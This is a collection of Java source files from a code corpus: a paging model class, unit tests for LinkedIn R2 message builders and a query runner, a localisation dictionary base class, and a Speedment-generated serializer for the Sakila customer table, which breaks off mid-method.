if (o == null || getClass() != o.getClass()) {
return false;
}
PageRequest pageRequest = (PageRequest) o;
return Objects.equals(this.page, pageRequest.page)
&& Objects.equals(this.pageSize, pageRequest.pageSize)
&& Objects.equals(this.sortOrder, pageRequest.sortOrder)
&& Objects.equals(this.sortColumn, pageRequest.sortColumn)
&& Objects.equals(this.filters, pageRequest.filters);
}
@Override
public int hashCode() {
return Objects.hash(page, pageSize, sortOrder, sortColumn, filters);
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("class PageRequest {\n");
sb.append(" page: ").append(toIndentedString(page)).append("\n");
sb.append(" pageSize: ").append(toIndentedString(pageSize)).append("\n");
sb.append(" sortOrder: ").append(toIndentedString(sortOrder)).append("\n");
sb.append(" sortColumn: ").append(toIndentedString(sortColumn)).append("\n");
sb.append(" filters: ").append(toIndentedString(filters)).append("\n");
sb.append("}");
return sb.toString();
}
/**
* Convert the given object to string with each line indented by 4 spaces (except the first line).
*/
private String toIndentedString(java.lang.Object o) {
if (o == null) {
return "null";
}
return o.toString().replace("\n", "\n ");
}
}
| 22.526316 | 100 | 0.649241 |
a2c53a589a75743c6927325d66ecbeba2a6381ee | 7,233 | /*
Copyright (c) 2012 LinkedIn Corp.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
/* $Id$ */
package test.r2.message;
import com.linkedin.r2.message.Message;
import com.linkedin.r2.message.MessageBuilder;
import com.linkedin.r2.message.Request;
import com.linkedin.r2.message.Response;
import com.linkedin.r2.message.rest.RestMessage;
import com.linkedin.r2.message.rest.RestMethod;
import com.linkedin.r2.message.rest.RestRequest;
import com.linkedin.r2.message.rest.RestRequestBuilder;
import com.linkedin.r2.message.rest.RestResponse;
import com.linkedin.r2.message.rest.RestResponseBuilder;
import java.net.URI;
import org.testng.Assert;
import org.testng.annotations.Test;
/**
* @author Chris Pettitt
* @version $Revision$
*/
public class TestBuilders
{
@Test
public void testChainBuildRestRequestFromRestRequestBuilder()
{
final RestRequest req = new RestRequestBuilder(URI.create("test"))
.setEntity(new byte[] {1,2,3,4})
.setHeader("k1", "v1")
.setMethod(RestMethod.PUT)
.build()
.builder()
.setEntity(new byte[] {5,6,7,8})
.setHeader("k2", "v2")
.setMethod(RestMethod.POST)
.setURI(URI.create("anotherURI"))
.build();
Assert.assertEquals(new byte[] {5,6,7,8}, req.getEntity().copyBytes());
Assert.assertEquals("v1", req.getHeader("k1"));
Assert.assertEquals("v2", req.getHeader("k2"));
Assert.assertEquals(RestMethod.POST, req.getMethod());
Assert.assertEquals(URI.create("anotherURI"), req.getURI());
}
@Test
public void testChainBuildRestRequestFromRequestBuilder()
{
final Request req = new RestRequestBuilder(URI.create("test"))
.setEntity(new byte[] {1,2,3,4})
.setHeader("k1", "v1")
.setMethod(RestMethod.PUT)
.build()
.requestBuilder()
.setEntity(new byte[] {5,6,7,8})
.setURI(URI.create("anotherURI"))
.build();
Assert.assertEquals(new byte[] {5,6,7,8}, req.getEntity().copyBytes());
Assert.assertEquals(URI.create("anotherURI"), req.getURI());
Assert.assertTrue(req instanceof RestRequest);
final RestRequest restReq = (RestRequest)req;
Assert.assertEquals("v1", restReq.getHeader("k1"));
Assert.assertEquals(RestMethod.PUT, restReq.getMethod());
}
@Test
public void testChainBuildRestRequestFromRestBuilder()
{
final RestMessage req = new RestRequestBuilder(URI.create("test"))
.setEntity(new byte[] {1,2,3,4})
.setHeader("k1", "v1")
.setMethod(RestMethod.PUT)
.build()
.restBuilder()
.setEntity(new byte[] {5,6,7,8})
.setHeader("k2", "v2")
.build();
Assert.assertEquals(new byte[] {5,6,7,8}, req.getEntity().copyBytes());
Assert.assertEquals("v1", req.getHeader("k1"));
Assert.assertEquals("v2", req.getHeader("k2"));
Assert.assertTrue(req instanceof RestRequest);
final RestRequest restReq = (RestRequest)req;
Assert.assertEquals(RestMethod.PUT, restReq.getMethod());
Assert.assertEquals(URI.create("test"), restReq.getURI());
}
@Test
public void testChainBuildRestRequestFromMessageBuilder()
{
final MessageBuilder<?> builder = new RestRequestBuilder(URI.create("test"))
.setEntity(new byte[] {1,2,3,4})
.setHeader("k1", "v1")
.setMethod(RestMethod.PUT)
.build()
.builder();
final Message req = builder
.setEntity(new byte[] {5,6,7,8})
.build();
Assert.assertEquals(new byte[] {5,6,7,8}, req.getEntity().copyBytes());
Assert.assertTrue(req instanceof RestRequest);
final RestRequest restReq = (RestRequest)req;
Assert.assertEquals(RestMethod.PUT, restReq.getMethod());
Assert.assertEquals(URI.create("test"), restReq.getURI());
Assert.assertEquals("v1", restReq.getHeader("k1"));
}
@Test
public void testChainBuildRestResponseFromRestResponseBuilder()
{
final RestResponse res = new RestResponseBuilder()
.setEntity(new byte[] {1,2,3,4})
.setHeader("k1", "v1")
.setStatus(300)
.build()
.builder()
.setEntity(new byte[] {5,6,7,8})
.setHeader("k2", "v2")
.setStatus(400)
.build();
Assert.assertEquals(new byte[] {5,6,7,8}, res.getEntity().copyBytes());
Assert.assertEquals("v1", res.getHeader("k1"));
Assert.assertEquals("v2", res.getHeader("k2"));
Assert.assertEquals(400, res.getStatus());
}
@Test
public void testChainBuildRestResponseFromResponseBuilder()
{
final Response res = new RestResponseBuilder()
.setEntity(new byte[] {1,2,3,4})
.setHeader("k1", "v1")
.setStatus(300)
.build()
.responseBuilder()
.setEntity(new byte[] {5,6,7,8})
.build();
Assert.assertEquals(new byte[] {5,6,7,8}, res.getEntity().copyBytes());
Assert.assertTrue(res instanceof RestResponse);
final RestResponse restRes = (RestResponse)res;
Assert.assertEquals("v1", restRes.getHeader("k1"));
Assert.assertEquals(300, restRes.getStatus());
}
@Test
public void testChainBuildRestResponseFromRestBuilder()
{
final RestMessage res = new RestResponseBuilder()
.setEntity(new byte[] {1,2,3,4})
.setHeader("k1", "v1")
.setStatus(300)
.build()
.restBuilder()
.setEntity(new byte[] {5,6,7,8})
.setHeader("k2", "v2")
.build();
Assert.assertEquals(new byte[] {5,6,7,8}, res.getEntity().copyBytes());
Assert.assertEquals("v1", res.getHeader("k1"));
Assert.assertEquals("v2", res.getHeader("k2"));
Assert.assertTrue(res instanceof RestResponse);
final RestResponse restRes = (RestResponse)res;
Assert.assertEquals(300, restRes.getStatus());
}
@Test
public void testChainBuildRestResponseFromMessageBuilder()
{
final MessageBuilder<?> builder = new RestResponseBuilder()
.setEntity(new byte[] {1,2,3,4})
.setHeader("k1", "v1")
.setStatus(300)
.build()
.builder();
final Message res = builder
.setEntity(new byte[] {5,6,7,8})
.build();
Assert.assertEquals(new byte[] {5,6,7,8}, res.getEntity().copyBytes());
Assert.assertTrue(res instanceof RestResponse);
final RestResponse restRes = (RestResponse)res;
Assert.assertEquals("v1", restRes.getHeader("k1"));
Assert.assertEquals(300, restRes.getStatus());
}
}
| 33.331797 | 80 | 0.627679 |
7d1f7e6787abf814bf72b4d1d176d2b2edfe4872 | 1,484 | package services;
import models.Command;
import org.hl7.fhir.r4.model.Bundle;
import org.junit.Before;
import org.junit.Test;
import org.mockito.Mockito;
import java.util.ArrayList;
import java.util.List;
public class QueryRunnerTests {
private QueryRunner queryRunner;
private IFileReader reader;
private IQueryService service;
@Before
public void init() {
reader = Mockito.mock(IFileReader.class);
service = new IQueryService() {
@Override
public boolean query(String familyName, Command<Bundle> command, boolean withCaching) {
if (command != null) {
command.exec(null);
}
return false;
}
@Override
public void reset() {
}
@Override
public long getAverageResponseTime() {
return 0;
}
};
queryRunner = new QueryRunner(reader, service);
}
@Test
public void runTest_test() {
String path = "anything";
List<String> names = new ArrayList<>();
names.add("smith");
names.add("johnson");
Mockito.when(reader.readFile(Mockito.anyString()))
.thenReturn(names);
Command<Boolean> callback = Mockito.mock(Command.class);
queryRunner.runTest(path, callback, true);
Mockito.verify(callback, Mockito.timeout(1000))
.exec(true);
}
}
| 23.935484 | 99 | 0.576819 |
50d55725cef857074fc71e9df6118c65584bbf90 | 1,242 | package org.spincast.core.dictionary;
import java.util.HashMap;
import java.util.Map;
import org.spincast.core.utils.Pair;
import org.spincast.core.utils.SpincastStatics;
/**
* Base class that can be used for a {@link Dictionary}
* implementation.
*/
public abstract class DictionaryBase {
private Map<String, Map<String, String>> messages;
/**
* Adds a message.
*/
protected final void key(String key, Pair... langMsgs) {
if (langMsgs == null || langMsgs.length == 0) {
return;
}
Map<String, String> map = getMessages().get(key);
if (map == null) {
map = new HashMap<String, String>();
getMessages().put(key, map);
}
for (Pair langMsg : langMsgs) {
map.put(langMsg.getKey(), SpincastStatics.stringValueOrNull(langMsg.getValue()));
}
}
/**
* Creates a localized message.
*/
protected Pair msg(String lang, String msg) {
return Pair.of(lang, msg);
}
protected Map<String, Map<String, String>> getMessages() {
if (this.messages == null) {
this.messages = new HashMap<String, Map<String, String>>();
}
return this.messages;
}
}
| 24.352941 | 93 | 0.590982 |
61088891700504b095688165eab9dba4217f1072 | 90,768 | package com.company.sakila.sakila.sakila.customer.generated;
import com.company.sakila.sakila.sakila.address.Address;
import com.company.sakila.sakila.sakila.customer.Customer;
import com.company.sakila.sakila.sakila.customer.CustomerImpl;
import com.company.sakila.sakila.sakila.store.Store;
import com.speedment.common.annotation.GeneratedCode;
import com.speedment.common.function.BiLongToIntFunction;
import com.speedment.common.function.LongToBooleanFunction;
import com.speedment.common.function.LongToByteFunction;
import com.speedment.common.function.LongToCharFunction;
import com.speedment.common.function.LongToFloatFunction;
import com.speedment.common.function.LongToShortFunction;
import com.speedment.enterprise.common.bytebuffercommon.ByteBufferUtil;
import com.speedment.enterprise.datastore.runtime.DataStoreHolder;
import com.speedment.enterprise.datastore.runtime.entitystore.EntityStoreSerializer;
import com.speedment.enterprise.datastore.runtime.entitystore.function.EntityStoreComparator;
import com.speedment.enterprise.datastore.runtime.entitystore.function.EntityStoreCompareTo;
import com.speedment.enterprise.datastore.runtime.entitystore.function.EntityStorePredicate;
import com.speedment.enterprise.datastore.runtime.fieldcache.FieldCache;
import com.speedment.enterprise.datastore.runtime.internal.throwable.Utf8Exception;
import com.speedment.enterprise.datastore.runtime.throwable.DeserializationException;
import com.speedment.enterprise.datastore.runtime.util.SerializerUtil;
import com.speedment.enterprise.datastore.runtime.util.Utf8Util;
import com.speedment.runtime.config.identifier.ColumnIdentifier;
import java.nio.ByteBuffer;
import java.sql.Timestamp;
import java.util.List;
import java.util.function.BiConsumer;
import java.util.function.LongConsumer;
import java.util.function.LongFunction;
import java.util.function.LongPredicate;
import java.util.function.LongToDoubleFunction;
import java.util.function.LongToIntFunction;
import java.util.function.LongUnaryOperator;
import static java.util.Collections.singletonList;
import static java.util.Objects.requireNonNull;
import static java.util.stream.Collectors.joining;
/**
* Serializes and deserializes instances of Customer.
* <p>
* This file has been automatically generated by Speedment. Any changes made to
* it will be overwritten.
*
* @author Speedment
*/
@GeneratedCode("Speedment")
public abstract class GeneratedCustomerEntityStoreSerializerImpl implements EntityStoreSerializer<Customer> {
private final LongFunction<ByteBuffer> bufferFinder;
private final LongToIntFunction offsetFinder;
private final static int FIELD_STORE_ID = 0;
private final static int FIELD_CUSTOMER_ID = 2;
private final static int FIELD_ADDRESS_ID = 6;
private final static int FIELD_ACTIVE = 10;
private final static int FIELD_CREATE_DATE = 14;
private final static int FIELD_LAST_UPDATE = 22;
private final static int FKREF_FK_CUSTOMER_ADDRESS = 30;
private final static int FKREF_FK_CUSTOMER_STORE = 38;
private final static int ENDPOS_FIRST_NAME = 46;
private final static int ENDPOS_LAST_NAME = 50;
private final static int ENDPOS_EMAIL = 54;
private final static int VARSIZE_BEGINS = 58;
protected GeneratedCustomerEntityStoreSerializerImpl(final LongFunction<ByteBuffer> bufferFinder, final LongToIntFunction offsetFinder) {
this.bufferFinder = requireNonNull(bufferFinder);
this.offsetFinder = requireNonNull(offsetFinder);
}
@Override
public BiConsumer<ByteBuffer, Customer> serializer() {
return (buffer, entity) -> {
int varSizePos = 0;
buffer.putShort(FIELD_STORE_ID, entity.getStoreId());
buffer.putInt(FIELD_CUSTOMER_ID, entity.getCustomerId());
buffer.putInt(FIELD_ADDRESS_ID, entity.getAddressId());
buffer.putInt(FIELD_ACTIVE, entity.getActive());
buffer.putLong(FIELD_CREATE_DATE, entity.getCreateDate().getTime());
buffer.putLong(FIELD_LAST_UPDATE, entity.getLastUpdate().getTime());
buffer.putLong(FKREF_FK_CUSTOMER_ADDRESS, -1L); // Will be set later on in the decorator()-method.
buffer.putLong(FKREF_FK_CUSTOMER_STORE, -1L); // Will be set later on in the decorator()-method.
varSizePos += ByteBufferUtil.putArrayAbsolute(buffer, VARSIZE_BEGINS + varSizePos, entity.getFirstName().getBytes());
buffer.putInt(ENDPOS_FIRST_NAME, varSizePos);
varSizePos += ByteBufferUtil.putArrayAbsolute(buffer, VARSIZE_BEGINS + varSizePos, entity.getLastName().getBytes());
buffer.putInt(ENDPOS_LAST_NAME, varSizePos);
if (entity.getEmail().isPresent()) {
varSizePos += ByteBufferUtil.putArrayAbsolute(buffer, VARSIZE_BEGINS + varSizePos, entity.getEmail().get().getBytes());
buffer.putInt(ENDPOS_EMAIL, varSizePos);
} else {
buffer.putInt(ENDPOS_EMAIL, (0x80000000 | varSizePos));
}
buffer.position(0);
buffer.limit(VARSIZE_BEGINS + varSizePos);
};
}
@Override
public LongConsumer decorator(DataStoreHolder holder) {
final FieldCache.OfInt address_addressIdFieldCache = holder.getFieldCache(Address.ADDRESS_ID.identifier());
final FieldCache.OfShort store_storeIdFieldCache = holder.getFieldCache(Store.STORE_ID.identifier());
final LongToIntFunction addressIdDeserializer = intDeserializer(Customer.ADDRESS_ID.identifier());
final LongToShortFunction storeIdDeserializer = shortDeserializer(Customer.STORE_ID.identifier());
final LongUnaryOperator fkCustomerAddressResolver = ref -> {
final int value = addressIdDeserializer.applyAsInt(ref);
return address_addressIdFieldCache.any(value);
};
final LongUnaryOperator fkCustomerStoreResolver = ref -> {
final short value = storeIdDeserializer.applyAsShort(ref);
return store_storeIdFieldCache.any(value);
};
return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int rowOffset = offsetFinder.applyAsInt(ref);
buffer.putLong(rowOffset + FKREF_FK_CUSTOMER_ADDRESS, fkCustomerAddressResolver.applyAsLong(ref));
buffer.putLong(rowOffset + FKREF_FK_CUSTOMER_STORE, fkCustomerStoreResolver.applyAsLong(ref));
};
}
@Override
public LongFunction<Customer> deserializer() {
return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
final Customer entity = new CustomerImpl();
entity.setCustomerId(buffer.getInt(offset + FIELD_CUSTOMER_ID));
entity.setStoreId(buffer.getShort(offset + FIELD_STORE_ID));
try {
entity.setFirstName(Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + 0,
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_FIRST_NAME)
));
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
try {
entity.setLastName(Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_LAST_NAME - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_LAST_NAME)
));
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
if (buffer.getInt(offset + ENDPOS_EMAIL) >= 0) {
try {
entity.setEmail(Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_EMAIL - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_EMAIL)
));
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
}
entity.setAddressId(buffer.getInt(offset + FIELD_ADDRESS_ID));
entity.setActive(buffer.getInt(offset + FIELD_ACTIVE));
entity.setCreateDate(new Timestamp(buffer.getLong(offset + FIELD_CREATE_DATE)));
entity.setLastUpdate(new Timestamp(buffer.getLong(offset + FIELD_LAST_UPDATE)));
return entity;
};
}
@Override
public Class<?> deserializedType(final ColumnIdentifier<Customer> colId) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID : return short.class;
case CUSTOMER_ID :
case ADDRESS_ID :
case ACTIVE : return int.class;
case CREATE_DATE :
case LAST_UPDATE : return Timestamp.class;
case FIRST_NAME :
case LAST_NAME :
case EMAIL : return String.class;
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" : return short.class;
case "customer_id" :
case "address_id" :
case "active" : return int.class;
case "create_date" :
case "last_update" : return Timestamp.class;
case "first_name" :
case "last_name" :
case "email" : return String.class;
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public <FK_ENTITY> LongUnaryOperator finder(final ColumnIdentifier<Customer> colId, final ColumnIdentifier<FK_ENTITY> fkColId) {
return finder(singletonList(colId), singletonList(fkColId));
}
@Override
public <FK_ENTITY> LongUnaryOperator finder(final List<ColumnIdentifier<Customer>> cols, final List<ColumnIdentifier<FK_ENTITY>> fkCols) {
final String fkName = SerializerUtil.uniqueFkName(cols, fkCols);
switch (fkName) {
case "{address_id}->address{address_id}": return finder("fk_customer_address");
case "{store_id}->store{store_id}": return finder("fk_customer_store");
}
throw new IllegalArgumentException(
fkName + " is not a valid foreign reference name."
);
}
@Override
public LongUnaryOperator finder(final String fkName) {
switch (fkName) {
case "fk_customer_address": return ref -> bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FKREF_FK_CUSTOMER_ADDRESS);
case "fk_customer_store": return ref -> bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FKREF_FK_CUSTOMER_STORE);
}
throw new IllegalArgumentException(
"Could not find a foreign key " + fkName + " in table 'customer'."
);
}
@Override
public LongPredicate isNull(final ColumnIdentifier<Customer> colId) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID :
case CUSTOMER_ID :
case ADDRESS_ID :
case ACTIVE :
case CREATE_DATE :
case LAST_UPDATE :
case FIRST_NAME :
case LAST_NAME : return ALWAYS_FALSE;
case EMAIL : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_EMAIL) < 0;
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" :
case "customer_id" :
case "address_id" :
case "active" :
case "create_date" :
case "last_update" :
case "first_name" :
case "last_name" : return ALWAYS_FALSE;
case "email" : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_EMAIL) < 0;
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public LongPredicate isPresent(final ColumnIdentifier<Customer> colId) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID :
case CUSTOMER_ID :
case ADDRESS_ID :
case ACTIVE :
case CREATE_DATE :
case LAST_UPDATE :
case FIRST_NAME :
case LAST_NAME : return ALWAYS_TRUE;
case EMAIL : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_EMAIL) >= 0;
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "store_id" :
case "customer_id" :
case "address_id" :
case "active" :
case "create_date" :
case "last_update" :
case "first_name" :
case "last_name" : return ALWAYS_TRUE;
case "email" : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + ENDPOS_EMAIL) >= 0;
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public LongToByteFunction byteDeserializer(final ColumnIdentifier<Customer> colId) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type byte.", colId.getColumnId())
);
}
@Override
public LongToShortFunction shortDeserializer(final ColumnIdentifier<Customer> colId) {
if ("store_id".equals(colId.getColumnId())) {
return ref -> bufferFinder.apply(ref).getShort(offsetFinder.applyAsInt(ref) + FIELD_STORE_ID);
}
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type short.", colId.getColumnId())
);
}
@Override
public LongToIntFunction intDeserializer(final ColumnIdentifier<Customer> colId) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case CUSTOMER_ID : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_CUSTOMER_ID);
case ADDRESS_ID : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_ADDRESS_ID);
case ACTIVE : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_ACTIVE);
default : {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type int.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "customer_id" : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_CUSTOMER_ID);
case "address_id" : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_ADDRESS_ID);
case "active" : return ref -> bufferFinder.apply(ref).getInt(offsetFinder.applyAsInt(ref) + FIELD_ACTIVE);
default : {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type int.", _colName)
);
}
}
}
}
@Override
public LongUnaryOperator longDeserializer(final ColumnIdentifier<Customer> colId) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type long.", colId.getColumnId())
);
}
@Override
public LongToFloatFunction floatDeserializer(final ColumnIdentifier<Customer> colId) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type float.", colId.getColumnId())
);
}
@Override
public LongToDoubleFunction doubleDeserializer(final ColumnIdentifier<Customer> colId) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type double.", colId.getColumnId())
);
}
@Override
public LongToCharFunction charDeserializer(final ColumnIdentifier<Customer> colId) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type char.", colId.getColumnId())
);
}
@Override
public LongToBooleanFunction booleanDeserializer(final ColumnIdentifier<Customer> colId) {
throw new UnsupportedOperationException(
String.format("The column '%s' is either unknown or not of type boolean.", colId.getColumnId())
);
}
@Override
public LongFunction<?> objectDeserializer(final ColumnIdentifier<Customer> colId) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case CREATE_DATE : return ref -> new Timestamp(bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FIELD_CREATE_DATE));
case LAST_UPDATE : return ref -> new Timestamp(bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FIELD_LAST_UPDATE));
case FIRST_NAME : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
try {
return Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + 0,
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_FIRST_NAME)
);
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
};
case LAST_NAME : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
try {
return Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_LAST_NAME - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_LAST_NAME)
);
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
};
case EMAIL : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
try {
return Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_EMAIL - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_EMAIL)
);
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown enum constant '%s'.", _id)
);
}
}
} else {
final String _colName = colId.getColumnId();
switch (_colName) {
case "create_date" : return ref -> new Timestamp(bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FIELD_CREATE_DATE));
case "last_update" : return ref -> new Timestamp(bufferFinder.apply(ref).getLong(offsetFinder.applyAsInt(ref) + FIELD_LAST_UPDATE));
case "first_name" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
try {
return Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + 0,
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_FIRST_NAME)
);
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
};
case "last_name" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
try {
return Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_LAST_NAME - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_LAST_NAME)
);
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
};
case "email" : return ref -> {
final ByteBuffer buffer = bufferFinder.apply(ref);
final int offset = offsetFinder.applyAsInt(ref);
try {
return Utf8Util.deserialize(buffer,
offset + VARSIZE_BEGINS + (0x7fffffff & buffer.getInt(offset + ENDPOS_EMAIL - Integer.BYTES)),
offset + VARSIZE_BEGINS + buffer.getInt(offset + ENDPOS_EMAIL)
);
} catch (final Utf8Exception ex) {
final LongToIntFunction sizeOf = sizeOf();
throw new DeserializationException(buffer, offset, sizeOf.applyAsInt(ref), ex);
}
};
default : {
throw new UnsupportedOperationException(
String.format("Unknown column name '%s'.", _colName)
);
}
}
}
}
@Override
public BiLongToIntFunction comparator(final ColumnIdentifier<Customer> colId) {
if (colId instanceof Customer.Identifier) {
final Customer.Identifier _id = (Customer.Identifier) colId;
switch (_id) {
case STORE_ID : return (aRef, bRef) -> Short.compare(
bufferFinder.apply(aRef).getShort(offsetFinder.applyAsInt(aRef) + FIELD_STORE_ID),
bufferFinder.apply(bRef).getShort(offsetFinder.applyAsInt(bRef) + FIELD_STORE_ID)
);
case CUSTOMER_ID : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_CUSTOMER_ID),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_CUSTOMER_ID)
);
case ADDRESS_ID : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_ADDRESS_ID),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_ADDRESS_ID)
);
case ACTIVE : return (aRef, bRef) -> Integer.compare(
bufferFinder.apply(aRef).getInt(offsetFinder.applyAsInt(aRef) + FIELD_ACTIVE),
bufferFinder.apply(bRef).getInt(offsetFinder.applyAsInt(bRef) + FIELD_ACTIVE)
);
case CREATE_DATE : return (aRef, bRef) -> Long.compare(
bufferFinder.apply(aRef).getLong(offsetFinder.applyAsInt(aRef) + FIELD_CREATE_DATE),
bufferFinder.apply(bRef).getLong(offsetFinder.applyAsInt(bRef) + FIELD_CREATE_DATE)
);
case LAST_UPDATE : return (aRef, bRef) -> Long.compare(
bufferFinder.apply(aRef).getLong(offsetFinder.applyAsInt(aRef) + FIELD_LAST_UPDATE),
bufferFinder.apply(bRef).getLong(offsetFinder.applyAsInt(bRef) + FIELD_LAST_UPDATE)
);
case FIRST_NAME : return (aRef, bRef) -> {
final ByteBuffer aBuf = bufferFinder.apply(aRef);
final ByteBuffer bBuf = bufferFinder.apply(bRef);
final int aOffset = offsetFinder.applyAsInt(aRef);
final int bOffset = offsetFinder.applyAsInt(bRef);
final int aStarts = aOffset + VARSIZE_BEGINS + 0;
final int bStarts = bOffset + VARSIZE_BEGINS + 0;
final int aEnds = aOffset + VARSIZE_BEGINS + aBuf.getInt(aOffset + ENDPOS_FIRST_NAME);
final int bEnds = bOffset + VARSIZE_BEGINS + bBuf.getInt(bOffset + ENDPOS_FIRST_NAME);
return ByteBufferUtil.compare(
aBuf, aStarts, aEnds,
bBuf, bStarts, bEnds
);
};
case LAST_NAME : return (aRef, bRef) -> {
